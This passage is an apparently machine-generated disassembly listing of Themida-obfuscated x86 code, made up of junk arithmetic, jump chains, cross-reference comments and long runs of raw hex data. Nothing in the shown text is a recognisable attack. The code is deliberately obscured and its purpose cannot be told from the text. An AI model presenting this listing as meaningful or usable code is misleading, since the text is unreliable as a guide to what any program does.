0E9243C89h, 1D48h, 81E18951h, 4ECh, 24048900h, 18199DB8h dd 0E98CE91Ah, 0C381FFFFh, 4C8B140Ah, 8DE9DBF7h, 0BA000032h dd 1E857C52h, 83B0C281h, 0D689E17Ah, 5AC2815Ah, 137E860h dd 8E9FE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BE5E: ; CODE XREF: Themida_:00555200j push dword ptr [esp] jmp loc_563E9A ; --------------------------------------------------------------------------- loc_55BE66: ; CODE XREF: Themida_:00563817j sub eax, 0F922B948h jmp loc_55B282 ; --------------------------------------------------------------------------- loc_55BE70: ; CODE XREF: Themida_:0055B856j pop dword ptr [esp] jmp loc_55B381 ; --------------------------------------------------------------------------- dd 0E901EA80h, 0FFFF5C2Dh, 0FF24248Bh, 68582434h, 644Fh dd 81241489h, 4ECh, 240C8900h, 0C181E189h, 4, 4E981h, 0C330000h dd 240C3124h, 0E9240C33h, 232Dh ; --------------------------------------------------------------------------- loc_55BEB4: ; CODE XREF: Themida_:00562E7Fj pop esp jmp loc_55A523 ; --------------------------------------------------------------------------- loc_55BEBA: ; CODE XREF: Themida_:005556B2j shl edi, 1 inc edi push ecx jmp loc_566CF9 ; --------------------------------------------------------------------------- loc_55BEC3: ; CODE XREF: Themida_:0055FA60j sub esp, 4 jmp loc_55C0CC ; --------------------------------------------------------------------------- dw 0DD01h dd 1983ED81h, 0E95B127Bh, 0FFFF7A48h, 4BEh, 0FFF70100h dd 565E2434h, 0C681E689h, 4, 4BB53h, 0DE010000h, 2434875Bh dd 243C335Ch, 0FF9BC1E9h, 0BA5259FFh, 17B71569h, 0EAC1D2F7h dd 1DEA8104h, 0F743BF76h, 56EA81D2h, 81192950h, 119719F2h dd 5AD1011Ch, 6804C183h, 0F1Bh, 0FF240C89h, 59042474h dd 8B24048Fh, 0F2E92424h, 83000071h, 0FF5702C7h, 0E9042474h dd 0FFFFF773h ; --------------------------------------------------------------------------- loc_55BF50: ; CODE XREF: Themida_:00566CF4j mov [esp], ebx sub esp, 4 mov [esp], edi jmp loc_564288 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0BA52E589h, 4, 64A5E9h, 4B900h, 0EDE90000h, 89FFFF7Ah dd 4BE2434h, 81000000h, 1B2C86EAh, 53F22905h, 4B30E955h dd 48F0000h, 0FF665C24h, 7F9DE930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BF9E: ; CODE XREF: Themida_:0055EFE2j pop ebx add cl, 0E6h shr cl, 2 shr cl, 5 inc cl jmp loc_561C45 ; --------------------------------------------------------------------------- db 5Ah dd 0DAF7D2F7h, 4C7CE281h, 0EA8169F6h, 0ECBE3160h, 525AD001h dd 80B2E9h, 5BDA2900h, 0FFE906E9h, 241C8BFFh, 81E18951h dd 4C1h, 4C18100h, 0E9000000h, 0FFFFB087h ; --------------------------------------------------------------------------- loc_55BFE8: ; CODE XREF: Themida_:00566303j pop esp not edx shr edx, 3 dec edx push edx not dword ptr [esp] pop edx jmp loc_566262 ; --------------------------------------------------------------------------- db 83h, 0EFh, 1 dd 0FFA6ABE9h, 8BE901FFh, 0C483242Ch, 2A16E904h, 0DD300000h dd 0EE88525Bh, 0E9F18851h, 642Fh, 0E591E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C022: ; CODE XREF: Themida_:005569D6j pop eax xchg ebp, [esp] mov esp, [esp] mov [esp], edi push 20000h jmp loc_55E1D6 ; --------------------------------------------------------------------------- loc_55C036: ; CODE XREF: Themida_:00557498j dec esi or esi, 41487A9Ch jmp loc_566675 ; --------------------------------------------------------------------------- loc_55C042: ; CODE XREF: Themida_:0055CC73j pop edx not ebx jmp loc_553737 ; --------------------------------------------------------------------------- dw 0E946h dd 81F3h ; --------------------------------------------------------------------------- loc_55C050: ; CODE XREF: Themida_:00559213j push eax mov eax, 1885666Dh xor edi, eax jmp loc_555258 ; --------------------------------------------------------------------------- db 31h, 0F9h, 0E9h dd 1396h, 4C481h, 0EC810000h, 4, 0B1240C89h, 41E9800Ah dd 80EE980h, 0C0FE59C8h, 0B151B90Ch, 59C80012h, 8051EB80h dd 0C3005FEBh, 0FF5A53E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C095: ; CODE XREF: Themida_:00559740j xor edi, ebp mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor edi, 7EA2449Ah jmp loc_552B76 ; --------------------------------------------------------------------------- loc_55C0B5: ; CODE XREF: Themida_:005564F2j add esp, 4 push esi jmp loc_562B3E ; --------------------------------------------------------------------------- loc_55C0BE: ; CODE XREF: Themida_:00556ACBj push 0 sub [esp], ebx pop ebx jmp loc_562832 ; --------------------------------------------------------------------------- loc_55C0CC: ; CODE XREF: Themida_:0055BEC9j mov [esp], edi push ecx push ebp mov ebp, 79767F99h mov ecx, 9B858DD4h sub ecx, ebp jmp loc_552FFE ; --------------------------------------------------------------------------- dw 0EF80h dd 5BFD307Ah, 34FFEE28h, 6675E924h, 0C9FE0000h, 0FFAD8CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C0F9: ; CODE XREF: Themida_:005602FCj pop ebx add esp, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx mov bh, dl push 3944h jmp loc_563EEE ; --------------------------------------------------------------------------- dw 7A2Dh dd 108B72Ch, 3E6858C2h, 8900000Bh, 0E9522434h, 0FFFFFD1Bh dd 240C8B66h, 3ED468h, 242C8900h, 0B8505D54h, 4, 8358C501h dd 3C8904ECh, 2BF24h, 0FD010000h, 52243C8Bh, 0FFC5CBE9h dd 2A5968FFh, 14890000h, 0A866824h, 0C890000h, 53A0B524h dd 0B05063B3h, 0E96E34F1h, 0FFFF8495h ; --------------------------------------------------------------------------- loc_55C174: ; CODE XREF: Themida_:00562868j pop ebx jmp loc_55450D ; --------------------------------------------------------------------------- dw 0FF59h dd 2C8B2434h, 4C48124h, 53000000h, 2CE9E389h, 0FF000004h dd 34FF2434h, 0C4835824h, 80F6804h, 3C890000h, 692AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C1A6: ; CODE XREF: Themida_:00562E87j and edx, 7ECB78BAh shl edx, 6 push 7674h mov [esp], ecx mov ecx, 7CD2573Bh jmp loc_565AA7 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0A60995BAh, 5AD62936h, 4EE815Ah, 33000000h, 34312434h dd 0A5E3E924h, 0C8010000h, 4C08359h, 8B240487h, 0C7682424h dd 8900000Ch, 0E954240Ch, 0FFFFDCC9h, 0E94077FFh, 0FFFF54EEh dd 8B2434FFh, 8951240Ch, 6E6850E1h, 89000071h, 0F8BF243Ch dd 0B84AF230h, 2A125203h, 3C8BF831h, 0EC835124h, 24248904h dd 4240481h, 59000000h, 4CB8BE56h, 0EE8157B3h, 57B34CB4h dd 835EF101h, 0C8704C1h, 15E95C24h, 83FFFF9Ah, 895304C4h dd 4C381E3h, 0E9000000h, 0FFFFF62Fh, 285AD000h, 8BF82CD8h dd 8950241Ch, 405E0h, 7680000h, 89000041h, 9CE92414h, 68FFFF8Bh dd 70A1h, 0BF243C89h, 3DA202EBh, 6AE9D7F7h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C28F: ; CODE XREF: Themida_:00553593j pop ecx add ebx, 0BAA5733h sub ebx, eax sub ebx, 0BAA5733h jmp loc_562294 ; --------------------------------------------------------------------------- db 89h dd 4BA2414h, 1000000h, 89505AD6h, 405E0h, 89E90000h, 54FFFFF8h dd 4C3815Bh, 0E9000000h, 3CCDh, 0F703E7C1h, 8CEF81DFh dd 1BEC12Fh, 2434FFFEh, 0FF8B28E9h, 4C481FFh, 50000000h dd 4B8h, 8BC10100h, 8FE92404h, 0FFFFFFD7h, 83592434h, 0C58304C4h dd 74FF5504h, 8F5D0424h, 315C2404h, 0DFE92404h, 68FFFF53h dd 7C8971BFh, 592434FFh, 4EC81h, 34890000h, 81E68924h dd 4C6h, 5E93E900h, 685EFFFFh, 734h, 54241C89h, 81241C8Bh dd 4C4h, 4C38100h, 0E9000000h, 0FFFF5527h, 4E7A68h, 0C4E0E900h dd 4481FFFFh, 5CFA0424h, 0BB5317FFh, 1C9752EEh, 8245C29h dd 83241C8Bh, 0E95D04C4h, 0FFFF537Ah ; --------------------------------------------------------------------------- loc_55C374: ; CODE XREF: Themida_:0055E567j pop ebx add ebp, 2 jmp loc_554536 ; --------------------------------------------------------------------------- loc_55C37D: ; CODE XREF: Themida_:00552272j pop dword ptr [esp] mov esp, [esp] div cx push 53B1h jmp loc_55F279 ; --------------------------------------------------------------------------- dd 662414F6h, 83241C8Bh, 0E3C002C4h, 0FFEB8008h, 0E915F380h dd 0FFFFEA1Eh ; --------------------------------------------------------------------------- loc_55C3A8: ; CODE XREF: Themida_:0055180Ej mov ebx, [esp] jmp loc_55B584 ; --------------------------------------------------------------------------- dd 0E958C730h, 0FFFFA819h ; --------------------------------------------------------------------------- loc_55C3B8: ; CODE XREF: Themida_:00555F28j push ebx push esp pop ebx jmp loc_55C8BF ; --------------------------------------------------------------------------- loc_55C3C0: ; CODE XREF: Themida_:005622FAj add dword ptr [esp], 657619B0h pop ecx sub ecx, 657619B0h jmp loc_565750 ; --------------------------------------------------------------------------- db 8Bh dd 0C6812424h, 4, 2BD55h, 0EE290000h, 6E97E95Dh, 4FE0000h dd 0FBE99C24h, 0B9FFFF52h, 4, 0EDE9CA01h, 8100003Ah, 4C4h dd 243C8700h, 3EF4E9h, 60952D00h, 835F266Eh, 0C8904ECh dd 0A41FE924h, 48B0000h, 59545124h, 4C181h, 0C1830000h dd 2F0E904h, 4050000h, 83000000h, 0FF5004C0h, 0E9042474h dd 1625h, 6624248Bh, 9C240CFFh, 0FF529DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C451: ; CODE XREF: Themida_:00565A0Dj mov edi, 380916AFh sub edx, edi jmp loc_566B4A ; --------------------------------------------------------------------------- db 51h, 0B9h, 99h dd 41315119h, 7E38F181h, 0E98151A6h, 49952F38h, 796F181h dd 38E9319Ah, 33FFFFCBh, 8F5C243Ch, 248B2404h, 0C8BE0F24h dd 1668h, 240C8900h, 0FF5259E9h, 2474FFFFh, 48F5804h, 34895C24h dd 2474FF24h, 48F5E04h, 24248B24h, 5AEF6853h, 0BEE90000h dd 45FFFFACh, 138BF57h, 0F7815D64h, 69174B51h, 336DCF81h dd 2FE925E0h, 51FFFFE3h, 0C1815954h, 4, 0F0EE9h db 0 ; --------------------------------------------------------------------------- loc_55C4DD: ; CODE XREF: Themida_:005640FDj pop edi push edi jmp loc_55CA5D ; --------------------------------------------------------------------------- dd 0E9242C89h, 0FFFFD71Ch ; --------------------------------------------------------------------------- loc_55C4EC: ; CODE XREF: Themida_:0055DF08j add ebx, esi jmp loc_558870 ; --------------------------------------------------------------------------- db 81h dd 2FDC97F6h, 32A7059Dh, 0F0017416h, 0A1DBE9h, 22E2BB00h dd 0BA525835h, 3C114F61h, 435AD331h, 65F3814Bh, 817B923Ah dd 679B3EBh, 2FEB8126h, 1F9AFDEh, 52505BDFh, 71544568h dd 84E95A2Ah db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C537: ; CODE XREF: Themida_:00565CE7j mov esp, [esp] mov [esp], edx push eax pushf jmp loc_5516EE ; --------------------------------------------------------------------------- dd 19C3E952h, 0C4830000h, 0CC04E904h, 0EF81FFFFh, 74ED1B83h dd 0FFF1D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C55D: ; CODE XREF: Themida_:00557508j pop ebx push ebx jmp loc_5627BC ; --------------------------------------------------------------------------- dd 3A01BA52h, 7DE90754h, 5DFFFF9Ch, 582434FFh, 41B0E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C57A: ; CODE XREF: Themida_:0055DE26j xor [esp], edx xor edx, [esp] mov esp, [esp] mul cx push esi mov esi, esp add esi, 4 push edx mov edx, 4 sub esi, edx mov edx, [esp] add esp, 4 xchg esi, [esp] pop esp mov [esp], eax push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_55EAE1 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38300h, 46D3E9h, 4EC8100h, 89000000h, 0E189240Ch dd 0FFA0BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C5D9: ; CODE XREF: Themida_:00564EA8j mov [esp], edi push ebp jmp loc_55DB28 ; --------------------------------------------------------------------------- dw 8B66h dd 30E92404h, 89FFFFACh, 74E95FFBh, 0FFFFFFBDh, 0FDE92434h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C5FB: ; CODE XREF: Themida_:0055F75Aj sub esi, 0F505C32Eh add ebx, esi jmp loc_55D958 ; --------------------------------------------------------------------------- loc_55C608: ; CODE XREF: Themida_:005650C7j add edx, 68075CB6h pop eax sub esp, 4 jmp loc_553027 ; --------------------------------------------------------------------------- dw 895Dh dd 2434FFF0h, 7C74E95Eh, 248B0000h, 50C0E924h, 2C89FFFFh dd 1C176824h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch dd 57242C8Bh, 0C781E789h, 4, 4C781h, 0FBE90000h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C65B: ; CODE XREF: Themida_:00562F79j sub esp, 4 mov [esp], eax mov eax, 2D137CFAh xor eax, 7B8F529Ah sub edx, 7F4718F5h jmp loc_561AE9 ; --------------------------------------------------------------------------- dw 1489h dd 9B4BA24h, 0C2815BFEh, 3EED2133h, 799FBE56h, 0E94634C5h dd 0A40h, 48BC101h, 0C244E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C69A: ; CODE XREF: Themida_:0055A7BDj mov [esp], edi push ebx pop edi sub esp, 4 jmp loc_55A20E ; --------------------------------------------------------------------------- db 66h dd 2404AB0Fh, 503CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C6B2: ; CODE XREF: Themida_:0055442Bj mov ebx, [esp] push ebx jmp loc_55FB7C ; --------------------------------------------------------------------------- db 89h dd 1055EF0h, 0E9000000h, 9038h, 8BBBE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C6CE: ; CODE XREF: Themida_:0055C941j add bl, 0B9h jmp loc_5633E8 ; --------------------------------------------------------------------------- loc_55C6D6: ; CODE XREF: Themida_:00554EB8j mov ebp, [esp] add esp, 4 push esi mov esi, 26286545h jmp loc_5546E7 ; --------------------------------------------------------------------------- dw 0B850h dd 0F967BFCh, 105h, 16E94800h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C6FB: ; CODE XREF: Themida_:005571B1j mov esi, esp add esi, 4 add esi, 4 jmp loc_5612E7 ; --------------------------------------------------------------------------- loc_55C70E: ; CODE XREF: Themida_:00564135j mov edi, [esp] add esp, 4 jmp loc_560423 ; --------------------------------------------------------------------------- db 66h, 89h, 4 dd 4FCCE924h, 0C33FFFFh, 54F1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C72A: ; CODE XREF: Themida_:00558B84j push eax jmp loc_5528D2 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFF9602h, 0A3E95648h, 8BFFFF89h, 0C483240Ch dd 3CC18104h, 0E96CDB49h, 0FFFFAA93h, 81EA0158h, 131F58C2h dd 6449E94Ah, 0BE560000h, 53F87CF8h, 8247401h, 526BE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C76E: ; CODE XREF: Themida_:0056199Fj push 6890h mov [esp], ebp mov ebp, 0EEF50F2h shl ebp, 8 sub ebp, 0EF50F1FCh jmp loc_55FBE5 ; --------------------------------------------------------------------------- db 81h, 0C5h, 2Eh dd 89414880h, 0D8015DEBh, 81241C8Bh, 4C4h, 8117E900h, 0EA310000h dd 0E6C2815Dh, 815B0B41h, 1D31AEF2h, 0EC685529h, 89000021h dd 43E9241Ch db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7BF: ; CODE XREF: Themida_:0055C9D0j pop ecx neg edi xor edi, 9A76EC42h push edi xor dword ptr [esp], 30B34362h pop eax xor eax, 30B34362h jmp loc_55B80E ; --------------------------------------------------------------------------- db 5Ch dd 55595451h, 4BDh, 8BE90100h, 0C483242Ch, 4C18304h, 2474FF51h dd 0AFEFE904h, 555AFFFFh, 0EB2222BDh, 0BB535104h, 12273EFFh dd 1E0054B9h, 0E9D93175h, 0FFFF84DEh, 240C8B66h, 374C68h dd 243C8900h, 4EC81h, 8F540000h, 4832404h, 0D5E90424h dd 81000013h, 8114FBC5h, 81F50138h, 8114FBEDh, 271BE938h dd 4050000h, 83000000h, 48704C0h, 11E95C24h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C857: ; CODE XREF: Themida_:00562288j add eax, edi pop edi jmp loc_55F634 ; --------------------------------------------------------------------------- db 89h dd 0C0BD242Ch, 57679349h, 0FF8577E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C86D: ; CODE XREF: Themida_:00559CD2j pop edx sub al, 18h sub al, ch jmp loc_55F8F1 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 0E6BD5500h, 81655657h, 5657E2F5h, 1536E965h, 4FF0000h dd 0C1815924h, 0A2149652h, 0C8BCE31h, 4C48324h, 2551EE81h dd 0F10116EAh, 4C1835Eh, 5C240C87h, 8B240C87h, 8F662424h dd 2FE92404h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C8BF: ; CODE XREF: Themida_:0055C3BBj push edx mov edx, 2BDB0331h jmp loc_556CFE ; --------------------------------------------------------------------------- aWsl4 db 'Wél4',0 align 10h loc_55C8D0: ; CODE XREF: Themida_:00564A50j not ebx xchg ebx, esi push eax mov eax, 54031CCDh xor esi, eax pop eax push esi add dword ptr [esp], 459C253Dh jmp loc_5587C4 ; --------------------------------------------------------------------------- loc_55C8EA: ; CODE XREF: Themida_:00559486j push dword ptr [esp+4] push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] jmp loc_566D6A ; --------------------------------------------------------------------------- aPsA db 'Pé',9,'',0 align 10h dd 81242C8Bh, 4C4h, 24343300h, 33243431h, 248B2434h, 7C4E6824h dd 9E90000h, 1000085h, 0A4C5E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C936: ; CODE XREF: Themida_:00561165j mov cl, 8 add cl, 0D3h add bl, cl pop ecx add bl, 5Bh jmp loc_55C6CE ; --------------------------------------------------------------------------- loc_55C946: ; CODE XREF: Themida_:00562822j and ecx, edx jmp loc_5564EC ; --------------------------------------------------------------------------- loc_55C94D: ; CODE XREF: Themida_:0055F27Fj mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_558404 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 51000000h, 7FBCBD55h, 48B91CA2h, 0E9E35D80h, 9EB8h ; --------------------------------------------------------------------------- loc_55C974: ; CODE XREF: Themida_:00560A93j push esi jmp loc_5655DC ; --------------------------------------------------------------------------- loc_55C97A: ; CODE XREF: Themida_:00558A2Dj mov edi, 29EC2ABDh xor edi, 4F7C5DE6h shr edi, 2 sub edi, 0C7991BC4h xor edx, edi mov edi, [esp] jmp loc_565B82 ; --------------------------------------------------------------------------- loc_55C998: ; CODE XREF: Themida_:0055DB2Fj mov ebp, [esp] add esp, 4 and eax, edi push dword ptr [esp] pop edi add esp, 4 or eax, eax jz loc_565FFD push 10CCh jmp loc_55C9F2 ; --------------------------------------------------------------------------- db 0BAh, 0FDh, 44h aXhj8 db '½xhJ8',0 dw 8900h dd 0E6892434h, 0FFB64EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C9CD: ; CODE XREF: Themida_:00561E46j pop edx xor edi, ecx jmp loc_55C7BF ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 0E9h dd 6ED8h, 0EC83CDFEh, 24148904h, 1EC1E9h db 0 ; --------------------------------------------------------------------------- loc_55C9E9: ; CODE XREF: Themida_:00553E1Cj inc esi shr esi, 8 jmp loc_55926F ; --------------------------------------------------------------------------- loc_55C9F2: ; CODE XREF: Themida_:0055C9B4j mov [esp], eax mov eax, 1Ch push edx mov edx, 33D32F29h jmp loc_5604F5 ; --------------------------------------------------------------------------- loc_55CA05: ; CODE XREF: Themida_:00553C50j mov ebx, edi pop edi mov [edi+20h], ebx mov ebx, [esp] jmp loc_563064 ; --------------------------------------------------------------------------- db 21h dd 0C5815FFDh, 6352E937h, 1CF2BB53h, 95E94979h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA27: ; CODE XREF: Themida_:00556B6Ej mov [esp], ecx push dword ptr [esp+4] jmp loc_5595DE ; --------------------------------------------------------------------------- db 0FFh dd 0E0E92434h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA3B: ; CODE XREF: Themida_:005628CAj mov [esp], ecx mov ecx, 73FE0818h push esi sub esp, 4 mov [esp], ecx push edx mov edx, 7622DCAh mov ecx, edx pop edx shr ecx, 6 not ecx jmp loc_559EF2 ; --------------------------------------------------------------------------- loc_55CA5D: ; CODE XREF: Themida_:0055C4DFj mov edi, 4 add esi, edi mov edi, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 6C05h mov [esp], esi push 3765719h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push 7C86h mov [esp], ebp push eax mov eax, 1C0D6918h xor eax, 6057730Fh mov ebp, eax pop eax jmp loc_55294D ; --------------------------------------------------------------------------- loc_55CAAD: ; CODE XREF: Themida_:00558B76j add ebx, 0D754CD12h add esi, ebx pop ebx push eax jmp loc_553083 ; --------------------------------------------------------------------------- dd 690CBF57h, 685508A5h, 634B3D92h, 56F5815Dh, 810E1606h dd 63424BCDh, 52DDF77Fh, 803EB7BAh, 91C5E974h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CAE2: ; CODE XREF: Themida_:00553960j mov bh, 8Eh xor bh, 0C7h mov dl, bh pop ebx xor dl, al pop eax jmp loc_551FB0 ; --------------------------------------------------------------------------- loc_55CAF2: ; CODE XREF: Themida_:00558E58j add esi, 4 xchg esi, [esp] pop esp add ebx, eax jmp loc_55FB6F ; --------------------------------------------------------------------------- db 1 dd 0C38359CBh, 241C8704h, 0EDC5815Ch, 11EA913h, 0EDED81CDh dd 811EA913h, 977867C5h, 2C87597Ah, 24248B24h, 24040166h dd 4BBCE99Ch, 8B66FFFFh, 97E9240Ch, 5CFFFF89h, 4A06EAC1h dd 0FFE77BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB45: ; CODE XREF: Themida_:00555FF8j pop ebx sub bl, dl jmp loc_55FB4D ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 2434FF5Ch, 45BD6858h, 5AE90000h, 5500001Fh, 0FFCB00E9h dd 0F18159FFh, 4A020964h, 0BB43BD55h, 0E931C6EBh, 59CA895Dh dd 500BE9h db 0 ; --------------------------------------------------------------------------- loc_55CB7D: ; CODE XREF: Themida_:0056633Aj pop eax add edi, 0F5583432h mov ebx, edi jmp loc_555648 ; --------------------------------------------------------------------------- db 5Ah dd 0E924048Bh, 8157h, 8904EC83h, 0F8882404h, 335E9h db 0 ; --------------------------------------------------------------------------- loc_55CBA1: ; CODE XREF: Themida_:0055DEF4j pop esi add eax, 0DC550A4h pop edi jmp loc_559D0F ; --------------------------------------------------------------------------- loc_55CBAD: ; CODE XREF: Themida_:00563761j sub esp, 4 mov [esp], ebp mov ebp, 52F05BBh add [esp+4], ebp pop ebp mov edi, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 404A6D60h xor ebp, 2EB244C1h jmp loc_565AB1 ; --------------------------------------------------------------------------- dd 34FFC601h, 0C4815824h, 4, 8702C683h, 248B2434h, 24D36624h dd 0EBE99C24h, 81FFFF4Ah, 4C3h, 6114E900h, 0C7810000h dd 387156EBh, 2434FF5Bh, 0E9241C8Bh, 0FFFFCCE8h, 533B68h dd 243C8900h, 0FF76F1E9h, 1C581FFh, 57000000h, 1C2CB850h dd 0E8C112B0h, 79443505h, 43E9434Dh, 31000044h, 0DEE958C1h dd 58000042h, 2554E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC56: ; CODE XREF: Themida_:005655E7j mov edi, 3E296DE4h shl edi, 2 dec edi sub edi, 0B8AE6250h jmp loc_55E836 ; --------------------------------------------------------------------------- aXssie db 'XS騅',0 db 0 ; --------------------------------------------------------------------------- loc_55CC71: ; CODE XREF: Themida_:0055D387j add ebx, edx jmp loc_55C042 ; --------------------------------------------------------------------------- dd 4C5815Dh, 56000000h, 60F9E9h db 0 ; --------------------------------------------------------------------------- loc_55CC85: ; CODE XREF: Themida_:00558621j xor edx, ebp pop ebp sub esp, 4 jmp loc_565148 ; --------------------------------------------------------------------------- db 2Dh dd 0FFFFFFFFh, 0C106E0C1h, 762D08E8h, 1000C01h, 0B85058C3h dd 77E96895h, 0FFB779E9h, 27AF68FFh, 34890000h, 6C2ABE24h dd 0F681203Eh, 5D4750F8h, 685EF031h, 7A2Fh, 83240489h dd 148904ECh, 2E60BA24h, 5852569Ch, 8324148Bh, 0C28104C4h dd 0C7F56E5h, 0EA81C201h, 0C7F56E5h, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5544A4 ; --------------------------------------------------------------------------- dd 0E821DEBDh, 0BB4AE943h, 0EFC1FFFFh, 0D687E902h, 0C483FFFFh dd 4C48304h, 30CE9h db 0 ; --------------------------------------------------------------------------- loc_55CD19: ; CODE XREF: Themida_:00558E18j mov [esp], ebx mov ebx, 7CA81318h xor [esp+4], ebx jmp loc_55B50A ; --------------------------------------------------------------------------- dw 1C89h dd 0F7D3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD32: ; CODE XREF: Themida_:00560672j add ebp, 4 xchg ebp, [esp] jmp loc_55937A ; --------------------------------------------------------------------------- loc_55CD40: ; CODE XREF: Themida_:00555DB7j add esi, 0CB1CC59Ah mov ebp, 7D985200h xor ebp, esi pop esi xor eax, ebp pop ebp sub eax, 502E46FCh shl eax, cl sub esp, 4 mov [esp], edi jmp loc_563AF3 ; --------------------------------------------------------------------------- db 52h dd 5A2414F7h, 0FF88F281h, 5AE9B9A3h, 5EFFFF89h, 8704EF83h dd 248B243Ch, 240C8924h, 0FF7AD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CD85: ; CODE XREF: Themida_:0055D991j sub edx, 6CB908B3h jmp loc_5557DC ; --------------------------------------------------------------------------- dd 12E468h, 24048900h, 0CE2CAEB0h, 0FF965EE9h, 8BF101FFh dd 0C4832434h, 240C8704h, 6824248Bh, 6171h, 0BF243C89h dd 2, 30E9F801h, 5200003Fh, 0C1885153h, 5159CB88h, 0CE88D988h dd 6CD4E9h, 24442900h, 246C8104h, 0E634A104h, 5C9FE908h dd 0C33FFFFh, 240C3124h, 5C240C33h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_565E78 ; --------------------------------------------------------------------------- loc_55CDF8: ; CODE XREF: Themida_:0056026Aj mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push ebp mov ebp, 15941A86h sub ebp, 0D890E50h inc ebp not ebp jmp loc_5597DC ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 0E9E28924h, 0FFFF99E8h, 395EBA52h dd 0D7897D4Eh, 5753475Ah, 0A416BA68h, 0CF815F38h, 130038B8h dd 0C013E947h, 474FFFFFh, 0C1A3C781h, 0F9013A9Ch, 4EC835Fh dd 0BD242C89h, 2, 2C8BE901h, 1A8E6824h, 1C890000h, 39206824h dd 24890000h, 24048324h, 0A1A8E904h, 56ADFFFFh, 1100BB53h dd 0DE890A7Bh, 721BE9h, 0A7E95B00h, 87FFFFC6h, 0E5E9241Ch dd 81FFFF68h, 27013FC1h, 87C1811Eh, 50549A06h, 0A1323BB8h dd 9081E973h, 6FBBFFFFh, 0C10DE216h, 814B02E3h, 660373EBh dd 5BD929F0h, 2C1835Bh, 5DB0E951h, 0C483FFFFh, 1EAE904h dd 0F7880000h, 5358C688h, 0E93BB050h, 0FFFFD60Ch, 62A2BD55h dd 0B85060A8h, 3BF57559h, 0E256012Dh, 8679E9F1h, 0FEBBFFFFh dd 81035F15h, 107D92EBh, 65EB8147h, 97DCF66h, 3FE95BD9h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CF13: ; CODE XREF: Themida_:00559151j not eax dec eax push 105Ah jmp loc_560A6D ; --------------------------------------------------------------------------- loc_55CF20: ; CODE XREF: Themida_:0055D9F2j add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_558C78 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 0FF9576E9h, 5E089FFh, 4, 0FFCC0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CF4D: ; CODE XREF: Themida_:005585DCj sub eax, edi jmp loc_5652BD ; --------------------------------------------------------------------------- loc_55CF54: ; CODE XREF: Themida_:00562721j xor edi, 6D6054DDh shl edi, 4 push ecx mov ecx, 5B008088h xor edi, ecx pop ecx and ebp, edi pop edi xor ebp, 741022B9h push 133Fh mov [esp], ebp jmp loc_5554C9 ; --------------------------------------------------------------------------- dd 0B951E589h, 4, 8159CD01h, 4C5h, 242C8700h, 5AD7015Ch dd 0FFC0B60Fh, 68538734h, 3FCh, 83241C8Bh, 0BB5304C4h dd 3A635BB2h, 295BDF01h, 0B2EF81DFh, 0E93A635Bh, 0FFFFCC19h ; --------------------------------------------------------------------------- loc_55CFBC: ; CODE XREF: Themida_:005588AFj pop ebp add ebp, 4 jmp loc_55BA07 ; --------------------------------------------------------------------------- 